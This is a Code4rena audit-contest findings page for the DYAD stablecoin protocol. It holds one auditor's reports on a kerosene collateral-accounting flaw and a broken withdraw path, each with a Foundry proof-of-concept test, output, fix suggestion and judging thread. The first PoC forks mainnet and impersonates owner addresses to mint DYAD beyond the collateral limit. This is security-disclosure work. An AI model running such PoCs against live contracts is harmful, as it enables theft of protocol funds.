Platform: Code4rena
Start Date: 18/04/2024
Pot Size: $36,500 USDC
Total HM: 19
Participants: 183
Period: 7 days
Judge: Koolex
Id: 367
League: ETH
Rank: 69/183
Findings: 6
Award: $52.40
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Maroutis
Also found by: 0x486776, 0xShitgem, 0xabhay, 0xleadwizard, 0xlemon, 0xnilay, 0xtankr, 3docSec, AM, Aamir, Abdessamed, Al-Qa-qa, AlexCzm, Circolors, CodeWasp, Daniel526, Egis_Security, Emmanuel, Giorgio, Honour, Hueber, Infect3d, Krace, KupiaSec, LeoGold, Limbooo, PoeAudits, SBSecurity, SpicyMeatball, T1MOH, The-Seraphs, TheSavageTeddy, TheSchnilch, Topmark, VAD37, ZanyBonzy, adam-idarrha, bhilare_, btk, carlitox477, cinderblock, dimulski, falconhoof, grearlake, gumgumzum, iamandreiski, itsabinashb, josephdara, ke1caM, kennedy1030, ljj, n0kto, n4nika, neocrao, oakcobalt, petro_1912, pontifex, poslednaya, shaflow2, shikhar229169, web3km, ych18, zhaojohnson, zigtur
0.2831 USDC - $0.28
Kerosene vaults can be added to the non kerosene vaults as in Deploy.V2.s.sol
both types of vaults are added in the same Licenser
.
Any user can add a Kerosene Vaults in the non kerosene vaults mapping as both types of vaults are added in the same licenser in the Deploy.V2.s.sol
script:
File: Deploy.V2.s.sol vaultLicenser.add(address(ethVault)); vaultLicenser.add(address(wstEth)); @> vaultLicenser.add(address(unboundedKerosineVault));
Github: [95]
Because of this, kerosene collateral will be counted towards the exogenous collateral when VaultManager::getNonKeroseneValue(...)
is called in any function as VaultManager::getNonKeroseneValue(...)
checks if the vault is licensed in the VaultLicenser
or not:
function getNonKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint usdValue; @> if (vaultLicenser.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id); } totalUsdValue += usdValue; } return totalUsdValue; }
GitHub: [250-267]
. This is an exploitation of an important invariant of the system according to which kerosene should not be considered as an additional collateral (Read here). Because of this user will be able to mint more DYAD breaking the following invairant:
C_non_kerosene > D_existing + D_mint
Link: [Docs]
Test:
// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/console2.sol"; import "forge-std/Test.sol"; import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol"; import {Licenser} from "../../src/core/Licenser.sol"; import {Parameters} from "../../src/params/Parameters.sol"; import {DNft} from "src/core/DNft.sol"; import {Vault} from "src/core/Vault.sol"; interface IWETH { event Approval(address indexed src, address indexed guy, uint256 wad); event Deposit(address indexed dst, uint256 wad); event Transfer(address indexed src, address indexed dst, uint256 wad); event Withdrawal(address indexed src, uint256 wad); function allowance(address, address) external view returns (uint256); function approve(address guy, uint256 wad) external returns (bool); function balanceOf(address) external view returns (uint256); function decimals() external view returns (uint8); function deposit() external payable; function name() external view returns (string memory); function symbol() external view returns (string memory); function totalSupply() external view returns (uint256); function transfer(address dst, uint256 wad) external returns (bool); function transferFrom(address src, address dst, uint256 wad) external returns (bool); function withdraw(uint256 wad) external; } interface ERC20{ function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract V2Test is Test, Parameters { Contracts contracts; function setUp() public { contracts = new DeployV2().run(); } function test_KeroseneCanBeAddedInNonKeroseneVaultsAndMoreDyadCanBeMintedAgainstId() public labelContracts(){ // setup address alice = makeAddr("alice"); vm.deal(alice, 1 ether); deal(MAINNET_WETH, alice, 100000 ether); // giving weth to alice for deposit in the system so that kerosine denominator works // licensing vault manager in dyad vm.prank(0xDeD796De6a14E255487191963dEe436c45995813); address(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85).call(abi.encodeWithSignature("add(address)", address(contracts.vaultManager))); // transferring some kerosene to alice vm.prank(MAINNET_OWNER); contracts.kerosene.transfer(alice, 10000 ether); // 10k tokens vm.startPrank(alice); // alice minting new DNFT uint256 tokenId = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(alice); // alice adds kerosene vault in non kerosene vault contracts.vaultManager.add(tokenId, address(contracts.unboundedKerosineVault)); contracts.vaultManager.add(tokenId, address(contracts.ethVault)); // alice deposits kerosene in the vault contracts.kerosene.approve(address(contracts.vaultManager), 10000 ether); IWETH(MAINNET_WETH).approve(address(contracts.vaultManager), 100000 ether); contracts.vaultManager.deposit(tokenId, address(contracts.unboundedKerosineVault), 10000 ether); contracts.vaultManager.deposit(tokenId, address(contracts.ethVault), 100000 ether); // alice mints dyad against the deposited collateral (, int price ,,,) = IAggregatorV3(MAINNET_WETH_ORACLE).latestRoundData(); uint256 wethUsdPrice = uint256(100000 ether) * uint256(price) / 1e8; // cr = 1.5 // max dyad that can be minted against it = wethUsdPrice * 1 / 1.5 uint256 dyadToBeMinted = wethUsdPrice * 1 ether / 1.5 ether; // alice minted more dyad than dyadToBeMinted as there is some kerosene as well contracts.vaultManager.mintDyad(tokenId, dyadToBeMinted + 100 ether, alice); } modifier labelContracts() { vm.label(address(contracts.boundedKerosineVault), "Bounded keroseine vault"); vm.label(address(contracts.unboundedKerosineVault), "Unbounded keroseine vault"); vm.label(address(contracts.kerosene), "Kerosene"); vm.label(address(contracts.kerosineManager), "Kerosine manager"); vm.label(address(contracts.kerosineDenominator), "Kerosine denominator"); vm.label(address(contracts.vaultManager), "Vault manager"); vm.label(address(contracts.vaultLicenser), "Vault licenser"); vm.label(address(contracts.ethVault), "ETH vault"); vm.label(address(contracts.wstEth), "WSTETH vault"); vm.label(MAINNET_DNFT, "DNFT"); _; } }
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/dyad-audit] └─$ forge test --mt test_KeroseneCanBeAddedInNonKeroseneVaultsAndMoreDyadCanBeMintedAgainstId --fork-url https://mainnet.infura.io/v3/<API_KEY> [⠘] Compiling... [⠑] Compiling 1 files with 0.8.17 [⠘] Solc 0.8.17 finished in 1.83s Compiler run successful with warnings: Warning (9302): Return value of low-level calls not used. --> test/fork/v2.t.sol:92:5: | 92 | address(0xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85).call(abi.encodeWithSignature("add(address)", address(contracts.vaultManager))); | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Ran 1 test for test/fork/v2.t.sol:V2Test [PASS] test_KeroseneCanBeAddedInNonKeroseneVaultsAndMoreDyadCanBeMintedAgainstId() (gas: 958325) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 27.14s (21.81s CPU time) Ran 1 test suite in 29.92s (27.14s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to add different licenser for both types of vaults and make changes to the VaultManager::getNonKeroseneValue(...)
in the following way:
function getNonKeroseneValue( uint id ) public view returns (uint) { uint totalUsdValue; uint numberOfVaults = vaults[id].length(); for (uint i = 0; i < numberOfVaults; i++) { Vault vault = Vault(vaults[id].at(i)); uint usdValue; - if (vaultLicenser.isLicensed(address(vault))) { + if (keroseneManager.isLicensed(address(vault))) { usdValue = vault.getUsdValue(id); } totalUsdValue += usdValue; } return totalUsdValue; }
Error
#0 - c4-pre-sort
2024-04-28T20:08:00Z
JustDravee marked the issue as duplicate of #70
#1 - c4-pre-sort
2024-04-29T09:37:15Z
JustDravee marked the issue as sufficient quality report
#2 - c4-judge
2024-05-11T19:58:33Z
koolexcrypto marked the issue as satisfactory
#3 - c4-judge
2024-05-12T10:53:02Z
koolexcrypto marked the issue as not a duplicate
#4 - c4-judge
2024-05-12T10:53:06Z
koolexcrypto marked the issue as unsatisfactory: Invalid
#5 - Aamirusmani1552
2024-05-17T05:08:23Z
@c4-judge I wants to know why you seem this issue is invalid. The issue clearly shows the impact. Please have a look at it again or at least mention what is the reason for the invalidation. Please not that this is different from my another issue #411 . That issue only explains that the UnboundedKerosineVault
is added in the wrong licenser. While this one assumes that the UnboundedKerosineVault
is added correctly as the protocol wants it to be but doing that will cause the issue mentioned above.
#6 - koolexcrypto
2024-05-22T15:10:02Z
Hi @Aamirusmani1552
Thank you for your input, I appreciate it.
I believe this is similar to this #872 which seems valid. Will need to revisit to double check both.
#7 - c4-judge
2024-05-29T09:16:30Z
koolexcrypto removed the grade
#8 - c4-judge
2024-05-29T09:16:38Z
koolexcrypto marked the issue as duplicate of #1133
#9 - c4-judge
2024-05-29T11:22:31Z
koolexcrypto marked the issue as satisfactory
🌟 Selected for report: Circolors
Also found by: 0x175, 0x486776, 0xAlix2, 0xSecuri, 0xShitgem, 0xfox, 0xlemon, 0xnilay, 3th, 4rdiii, Aamir, Al-Qa-qa, AlexCzm, Egis_Security, Evo, Honour, Infect3d, Josh4324, Limbooo, Mahmud, SBSecurity, TheSchnilch, ahmedaghadi, alix40, amaron, bbl4de, bhilare_, btk, carrotsmuggler, cinderblock, d3e4, dimulski, dinkras, ducanh2706, iamandreiski, itsabinashb, ke1caM, ljj, sashik_eth, shaflow2, steadyman, web3km, y4y
3.8221 USDC - $3.82
Deposited kerosine cannot be withdrawn from the vaults because of an issue in the VaultManagerV2::withdraw(...)
function.
The VaultManagerV2::withdraw(...)
function facilitates token withdrawal from the vaults. This function relies on reading certain states from the vault contracts:
File: VaultManagerV2.sol function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 @> / 10**_vault.oracle().decimals() @> / 10**_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
GitHub: [134-154]
However, an issue arises when attempting to withdraw from Unbounded kerosene vaults due to the absence of an oracle
variable in these vaults. Consequently, users will encounter an inability to withdraw any deposited kerosene from these vaults, resulting in the loss of tokens.
Additionally, if the changes has been made in the vaults contract to rectify the issue, the function will still cause problems as the value to be withdrawn from the contract is checked against the non kerosene collateral value here:
File: VaultManagerV2.sol function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); @> if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
So, if there is no non kerosene collateral then, this will give overflow/underflow error.
The below given test will not work as there is an issue in the VaultManager::addKerosene(...)
function. Before running the tests make the following changes:
<details> <summary>Test Base</summary>function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); - if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); + if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
</details>// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {Parameters} from "src/params/Parameters.sol"; import {DNft} from "src/core/DNft.sol"; import {Dyad} from "src/core/Dyad.sol"; import {Licenser} from "src/core/Licenser.sol"; import {VaultManagerV2} from "src/core/VaultManagerV2.sol"; import {Vault} from "src/core/Vault.sol"; import {VaultWstEth} from "src/core/Vault.wsteth.sol"; import {Payments} from "src/periphery/Payments.sol"; import {OracleMock} from "../OracleMock.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {Kerosine} from "src/staking/Kerosine.sol"; import {BoundedKerosineVault} from "src/core/Vault.kerosine.bounded.sol"; import {UnboundedKerosineVault} from "src/core/Vault.kerosine.unbounded.sol"; import {KerosineManager} from "src/core/KerosineManager.sol"; import {KerosineDenominator} from "src/staking/KerosineDenominator.sol"; struct Contracts { DNft dNft; ERC20Mock weth; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManager; KerosineManager kerosineManager; MockKerosineDenominator kerosineDenominator; } struct Oracles{ OracleMock wethOracle; OracleMock daiOracle; OracleMock usdcOracle; } struct Tokens{ ERC20Mock weth; ERC20Mock dai; USDC usdc; Kerosine kerosene; } struct Vaults{ Vault wethVault; Vault daiVault; Vault usdcVault; BoundedKerosineVault boundedKerosineVault; UnboundedKerosineVault unboundedKerosineVault; } contract MockKerosineDenominator { Kerosine public kerosine; address public owner; constructor( Kerosine _kerosine ) { kerosine = _kerosine; owner = msg.sender; } function denominator() external view returns (uint) { // @dev: We subtract all the Kerosene in the multi-sig. // We are aware that this is not a great solution. That is // why we can switch out Denominator contracts. return kerosine.totalSupply() - kerosine.balanceOf(owner); } } contract USDC is ERC20 { constructor() ERC20("USDC", "USDC", 6) { } function mint(address to, uint256 amount) public { _mint(to, amount); } function burn(address from, uint256 amount) public { _burn(from, amount); } } contract BaseLocalTest is Test { Contracts public contracts; Oracles public oracles; Tokens public tokens; Vaults public vaults; function setUp() public virtual { // oracles oracles.wethOracle = new OracleMock(3000e8); oracles.daiOracle = new OracleMock(1e8); oracles.usdcOracle = new OracleMock(1e8); // tokens tokens.dai = new ERC20Mock("DAI-TEST", "DAIT"); tokens.weth = new ERC20Mock("WETH-TEST", "WETHT"); tokens.kerosene = new Kerosine(); tokens.usdc = new USDC(); // contracts contracts.dNft = new DNft(); contracts.vaultLicenser = new Licenser(); contracts.dyad = new Dyad(contracts.vaultLicenser); contracts.vaultManager = new VaultManagerV2(contracts.dNft, contracts.dyad, contracts.vaultLicenser); contracts.kerosineManager = new KerosineManager(); vaults.boundedKerosineVault = new BoundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.kerosineManager); vaults.unboundedKerosineVault = new UnboundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.dyad, contracts.kerosineManager); vaults.boundedKerosineVault.setUnboundedKerosineVault(vaults.unboundedKerosineVault); contracts.vaultManager.setKeroseneManager(contracts.kerosineManager); contracts.kerosineDenominator = new MockKerosineDenominator(tokens.kerosene); vaults.unboundedKerosineVault.setDenominator(KerosineDenominator(address(contracts.kerosineDenominator))); // create the DAI vault vaults.daiVault = new Vault( contracts.vaultManager, ERC20(address(tokens.dai)), IAggregatorV3(address(oracles.daiOracle)) ); // create the WETH vault vaults.wethVault = new Vault( contracts.vaultManager, ERC20(address(tokens.weth)), IAggregatorV3(address(oracles.wethOracle)) ); // create the usdc vault vaults.usdcVault = new Vault( contracts.vaultManager, ERC20(address(tokens.usdc)), IAggregatorV3(address(oracles.usdcOracle)) ); // add the DAI vault vm.startPrank(contracts.vaultLicenser.owner()); contracts.vaultLicenser.add(address(vaults.daiVault)); contracts.vaultLicenser.add(address(vaults.usdcVault)); contracts.vaultLicenser.add(address(vaults.wethVault)); contracts.vaultLicenser.add(address(contracts.vaultManager)); contracts.vaultLicenser.add(address(vaults.unboundedKerosineVault)); contracts.kerosineManager.add(address(vaults.wethVault)); // should not be done but we are doing it for the testing purpose only as it is also done in the deployment script // contracts.kerosineManager.add(address(vaults.unboundedKerosineVault)); assertEq(contracts.kerosineManager.isLicensed(address(vaults.wethVault)), true); // labeling everything vm.label(address(contracts.weth), "WETH"); vm.label(address(contracts.dyad), "DYAD"); vm.label(address(contracts.vaultManager), "VaultManager"); vm.label(address(contracts.dNft), "DNFT"); vm.label(address(contracts.vaultLicenser), "VaultLicenser"); vm.label(address(contracts.vaultManagerLicenser), "VaultManagerLicenser"); vm.label(address(vaults.daiVault), "DAI Vault"); vm.label(address(vaults.wethVault), "WETH Vault"); vm.label(address(tokens.dai), "DAI"); vm.label(address(tokens.weth), "WETH"); vm.label(address(tokens.kerosene), "Kerosene"); vm.label(address(oracles.wethOracle), "WETH Oracle"); vm.label(address(oracles.daiOracle), "DAI Oracle"); vm.label(address(oracles.usdcOracle), "USDC Oracle"); vm.label(address(tokens.usdc), "USDC"); vm.label(address(vaults.usdcVault), "USDC Vault"); } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4) { return 0x150b7a02; } }
Test:
pragma solidity =0.8.17; import {BaseLocalTest} from "./Base.t.sol"; import {console2} from "forge-std/console2.sol"; contract Unit is BaseLocalTest{ function setUp() public override{ super.setUp(); } function test_KeroseneCannotBeWitdhrawnFromTheVaults() public { // setup address alice = makeAddr("alice"); uint256 amount = 1000e18; uint256 keroseneAmount = 1000 ether; // giving some tokens to alice and bob vm.deal(alice, amount); tokens.kerosene.transfer(alice, keroseneAmount + 100000 ether); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // alice mints new DNFT vm.startPrank(alice); uint256 tokenId = contracts.dNft.mintNft{value: 1 ether}(alice); // alice adds the unbounded vault in the vault manager against his DNFT contracts.vaultManager.addKerosene(tokenId, address(vaults.unboundedKerosineVault)); // bob deposits kerosene in the vault tokens.kerosene.approve(address(contracts.vaultManager), keroseneAmount); contracts.vaultManager.deposit(tokenId, address(vaults.unboundedKerosineVault), keroseneAmount); // amount should be added to the vault assertEq(vaults.unboundedKerosineVault.id2asset(tokenId), keroseneAmount); vm.roll(block.number + 1); // alice try to withdraw her kerosene vm.expectRevert(); contracts.vaultManager.withdraw(tokenId, address(vaults.unboundedKerosineVault), keroseneAmount, alice); vm.stopPrank(); } }
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/dyad-audit] └─$ forge test --mt test_KeroseneCannotBeWitdhrawnFromTheVaults [⠒] Compiling... [⠒] Compiling 1 files with 0.8.17 [⠢] Solc 0.8.17 finished in 2.38s Compiler run successful! Ran 1 test for test/unit/Unit.t.sol:Unit [PASS] test_KeroseneCannotBeWitdhrawnFromTheVaults() (gas: 338981) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms (381.68µs CPU time) Ran 1 test suite in 220.38ms (1.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to create a different function for withdrawing kerosene from the vaults.
Error
#0 - c4-pre-sort
2024-04-26T21:47:26Z
JustDravee marked the issue as duplicate of #1048
#1 - c4-pre-sort
2024-04-28T18:38:37Z
JustDravee marked the issue as duplicate of #830
#2 - c4-pre-sort
2024-04-29T08:45:02Z
JustDravee marked the issue as sufficient quality report
#3 - c4-judge
2024-05-11T20:04:36Z
koolexcrypto marked the issue as satisfactory
#4 - Aamirusmani1552
2024-05-16T05:36:11Z
Hey @c4-judge, I don't know if it's allowed but this findings shows two different scenarios in which the issues can happen. And both of them are selected as seperate reports. Please Look at issue #830 and #397
#5 - koolexcrypto
2024-05-22T14:50:32Z
Hey @Aamirusmani1552
Thank you for your feedback. I will check if it is possible to split it into two.
🌟 Selected for report: 0xAlix2
Also found by: 0xfox, 0xlemon, 0xnev, 3docSec, Aamir, Abdessamed, Dudex_2004, Egis_Security, Evo, FastChecker, Honour, Jorgect, KupiaSec, Limbooo, MrPotatoMagic, SpicyMeatball, TheSchnilch, alix40, bhilare_, favelanky, forgebyola, ke1caM, kennedy1030, koo, oakcobalt, petro_1912, shikhar229169
32.4128 USDC - $32.41
Deposited kerosine cannot be withdrawn from the vaults because of an issue in the VaultManagerV2::withdraw(...)
function.
The VaultManagerV2::withdraw(...)
function facilitates token withdrawal from the vaults. This function relies on reading certain states from the vault contracts:
File: VaultManagerV2.sol function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 @> / 10**_vault.oracle().decimals() @> / 10**_vault.asset().decimals(); if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
GitHub: [134-154]
However, an issue arises when attempting to withdraw from Unbounded kerosene vaults due to the absence of an oracle
variable in these vaults. Consequently, users will encounter an inability to withdraw any deposited kerosene from these vaults, resulting in the loss of tokens.
Additionally, if the changes has been made in the vaults contract to rectify the issue, the function will still cause problems as the value to be withdrawn from the contract is checked against the non kerosene collateral value here:
File: VaultManagerV2.sol function withdraw( uint id, address vault, uint amount, address to ) public isDNftOwner(id) { if (idToBlockOfLastDeposit[id] == block.number) revert DepositedInSameBlock(); uint dyadMinted = dyad.mintedDyad(address(this), id); Vault _vault = Vault(vault); uint value = amount * _vault.assetPrice() * 1e18 / 10**_vault.oracle().decimals() / 10**_vault.asset().decimals(); @> if (getNonKeroseneValue(id) - value < dyadMinted) revert NotEnoughExoCollat(); _vault.withdraw(id, to, amount); if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert CrTooLow(); }
So, if there is no non kerosene collateral then, this will give overflow/underflow error.
The below given test will not work as there is an issue in the VaultManager::addKerosene(...)
function. Before running the tests make the following changes:
<details> <summary>Test Base</summary>function addKerosene( uint id, address vault ) external isDNftOwner(id) { if (vaultsKerosene[id].length() >= MAX_VAULTS_KEROSENE) revert TooManyVaults(); - if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed(); + if (!vaultLicenser.isLicensed(vault)) revert VaultNotLicensed(); if (!vaultsKerosene[id].add(vault)) revert VaultAlreadyAdded(); emit Added(id, vault); }
</details>// SPDX-License-Identifier: MIT pragma solidity =0.8.17; import "forge-std/Test.sol"; import "forge-std/console.sol"; import {Parameters} from "src/params/Parameters.sol"; import {DNft} from "src/core/DNft.sol"; import {Dyad} from "src/core/Dyad.sol"; import {Licenser} from "src/core/Licenser.sol"; import {VaultManagerV2} from "src/core/VaultManagerV2.sol"; import {Vault} from "src/core/Vault.sol"; import {VaultWstEth} from "src/core/Vault.wsteth.sol"; import {Payments} from "src/periphery/Payments.sol"; import {OracleMock} from "../OracleMock.sol"; import {ERC20Mock} from "../ERC20Mock.sol"; import {IAggregatorV3} from "src/interfaces/IAggregatorV3.sol"; import {ERC20} from "@solmate/src/tokens/ERC20.sol"; import {Kerosine} from "src/staking/Kerosine.sol"; import {BoundedKerosineVault} from "src/core/Vault.kerosine.bounded.sol"; import {UnboundedKerosineVault} from "src/core/Vault.kerosine.unbounded.sol"; import {KerosineManager} from "src/core/KerosineManager.sol"; import {KerosineDenominator} from "src/staking/KerosineDenominator.sol"; struct Contracts { DNft dNft; ERC20Mock weth; Licenser vaultManagerLicenser; Licenser vaultLicenser; Dyad dyad; VaultManagerV2 vaultManager; KerosineManager kerosineManager; MockKerosineDenominator kerosineDenominator; } struct Oracles{ OracleMock wethOracle; OracleMock daiOracle; OracleMock usdcOracle; } struct Tokens{ ERC20Mock weth; ERC20Mock dai; USDC usdc; Kerosine kerosene; } struct Vaults{ Vault wethVault; Vault daiVault; Vault usdcVault; BoundedKerosineVault boundedKerosineVault; UnboundedKerosineVault unboundedKerosineVault; } contract MockKerosineDenominator { Kerosine public kerosine; address public owner; constructor( Kerosine _kerosine ) { kerosine = _kerosine; owner = msg.sender; } function denominator() external view returns (uint) { // @dev: We subtract all the Kerosene in the multi-sig. // We are aware that this is not a great solution. That is // why we can switch out Denominator contracts. return kerosine.totalSupply() - kerosine.balanceOf(owner); } } contract USDC is ERC20 { constructor() ERC20("USDC", "USDC", 6) { } function mint(address to, uint256 amount) public { _mint(to, amount); } function burn(address from, uint256 amount) public { _burn(from, amount); } } contract BaseLocalTest is Test { Contracts public contracts; Oracles public oracles; Tokens public tokens; Vaults public vaults; function setUp() public virtual { // oracles oracles.wethOracle = new OracleMock(3000e8); oracles.daiOracle = new OracleMock(1e8); oracles.usdcOracle = new OracleMock(1e8); // tokens tokens.dai = new ERC20Mock("DAI-TEST", "DAIT"); tokens.weth = new ERC20Mock("WETH-TEST", "WETHT"); tokens.kerosene = new Kerosine(); tokens.usdc = new USDC(); // contracts contracts.dNft = new DNft(); contracts.vaultLicenser = new Licenser(); contracts.dyad = new Dyad(contracts.vaultLicenser); contracts.vaultManager = new VaultManagerV2(contracts.dNft, contracts.dyad, contracts.vaultLicenser); contracts.kerosineManager = new KerosineManager(); vaults.boundedKerosineVault = new BoundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.kerosineManager); vaults.unboundedKerosineVault = new UnboundedKerosineVault(contracts.vaultManager, tokens.kerosene, contracts.dyad, contracts.kerosineManager); vaults.boundedKerosineVault.setUnboundedKerosineVault(vaults.unboundedKerosineVault); contracts.vaultManager.setKeroseneManager(contracts.kerosineManager); contracts.kerosineDenominator = new MockKerosineDenominator(tokens.kerosene); vaults.unboundedKerosineVault.setDenominator(KerosineDenominator(address(contracts.kerosineDenominator))); // create the DAI vault vaults.daiVault = new Vault( contracts.vaultManager, ERC20(address(tokens.dai)), IAggregatorV3(address(oracles.daiOracle)) ); // create the WETH vault vaults.wethVault = new Vault( contracts.vaultManager, ERC20(address(tokens.weth)), IAggregatorV3(address(oracles.wethOracle)) ); // create the usdc vault vaults.usdcVault = new Vault( contracts.vaultManager, ERC20(address(tokens.usdc)), IAggregatorV3(address(oracles.usdcOracle)) ); // add the DAI vault vm.startPrank(contracts.vaultLicenser.owner()); contracts.vaultLicenser.add(address(vaults.daiVault)); contracts.vaultLicenser.add(address(vaults.usdcVault)); contracts.vaultLicenser.add(address(vaults.wethVault)); contracts.vaultLicenser.add(address(contracts.vaultManager)); contracts.vaultLicenser.add(address(vaults.unboundedKerosineVault)); contracts.kerosineManager.add(address(vaults.wethVault)); // should not be done but we are doing it for the testing purpose only as it is also done in the deployment script // contracts.kerosineManager.add(address(vaults.unboundedKerosineVault)); assertEq(contracts.kerosineManager.isLicensed(address(vaults.wethVault)), true); // labeling everything vm.label(address(contracts.weth), "WETH"); vm.label(address(contracts.dyad), "DYAD"); vm.label(address(contracts.vaultManager), "VaultManager"); vm.label(address(contracts.dNft), "DNFT"); vm.label(address(contracts.vaultLicenser), "VaultLicenser"); vm.label(address(contracts.vaultManagerLicenser), "VaultManagerLicenser"); vm.label(address(vaults.daiVault), "DAI Vault"); vm.label(address(vaults.wethVault), "WETH Vault"); vm.label(address(tokens.dai), "DAI"); vm.label(address(tokens.weth), "WETH"); vm.label(address(tokens.kerosene), "Kerosene"); vm.label(address(oracles.wethOracle), "WETH Oracle"); vm.label(address(oracles.daiOracle), "DAI Oracle"); vm.label(address(oracles.usdcOracle), "USDC Oracle"); vm.label(address(tokens.usdc), "USDC"); vm.label(address(vaults.usdcVault), "USDC Vault"); } receive() external payable {} function onERC721Received( address, address, uint256, bytes calldata ) external pure returns (bytes4) { return 0x150b7a02; } }
Test:
pragma solidity =0.8.17; import {BaseLocalTest} from "./Base.t.sol"; import {console2} from "forge-std/console2.sol"; contract Unit is BaseLocalTest{ function setUp() public override{ super.setUp(); } function test_KeroseneCannotBeWitdhrawnFromTheVaults() public { // setup address alice = makeAddr("alice"); uint256 amount = 1000e18; uint256 keroseneAmount = 1000 ether; // giving some tokens to alice and bob vm.deal(alice, amount); tokens.kerosene.transfer(alice, keroseneAmount + 100000 ether); ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // alice mints new DNFT vm.startPrank(alice); uint256 tokenId = contracts.dNft.mintNft{value: 1 ether}(alice); // alice adds the unbounded vault in the vault manager against his DNFT contracts.vaultManager.addKerosene(tokenId, address(vaults.unboundedKerosineVault)); // bob deposits kerosene in the vault tokens.kerosene.approve(address(contracts.vaultManager), keroseneAmount); contracts.vaultManager.deposit(tokenId, address(vaults.unboundedKerosineVault), keroseneAmount); // amount should be added to the vault assertEq(vaults.unboundedKerosineVault.id2asset(tokenId), keroseneAmount); vm.roll(block.number + 1); // alice try to withdraw her kerosene vm.expectRevert(); contracts.vaultManager.withdraw(tokenId, address(vaults.unboundedKerosineVault), keroseneAmount, alice); vm.stopPrank(); } }
Output:
┌──(aamirusmani1552㉿Victus)-[/mnt/d/dyad-audit] └─$ forge test --mt test_KeroseneCannotBeWitdhrawnFromTheVaults [⠒] Compiling... [⠒] Compiling 1 files with 0.8.17 [⠢] Solc 0.8.17 finished in 2.38s Compiler run successful! Ran 1 test for test/unit/Unit.t.sol:Unit [PASS] test_KeroseneCannotBeWitdhrawnFromTheVaults() (gas: 338981) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.48ms (381.68µs CPU time) Ran 1 test suite in 220.38ms (1.48ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
It is recommended to create a different function for withdrawing kerosene from the vaults.
Error
#0 - thebrittfactor
2024-05-29T13:42:50Z
For transparency, the judge has requested that issue #566 be duplicated, as it contains two issues they deemed should be judged separately.
#1 - c4-judge
2024-05-29T13:53:28Z
koolexcrypto marked the issue as duplicate of #397
#2 - c4-judge
2024-05-29T13:53:39Z
koolexcrypto marked the issue as satisfactory
#3 - koolexcrypto
2024-05-29T13:53:50Z
split from #566
🌟 Selected for report: 0xAlix2
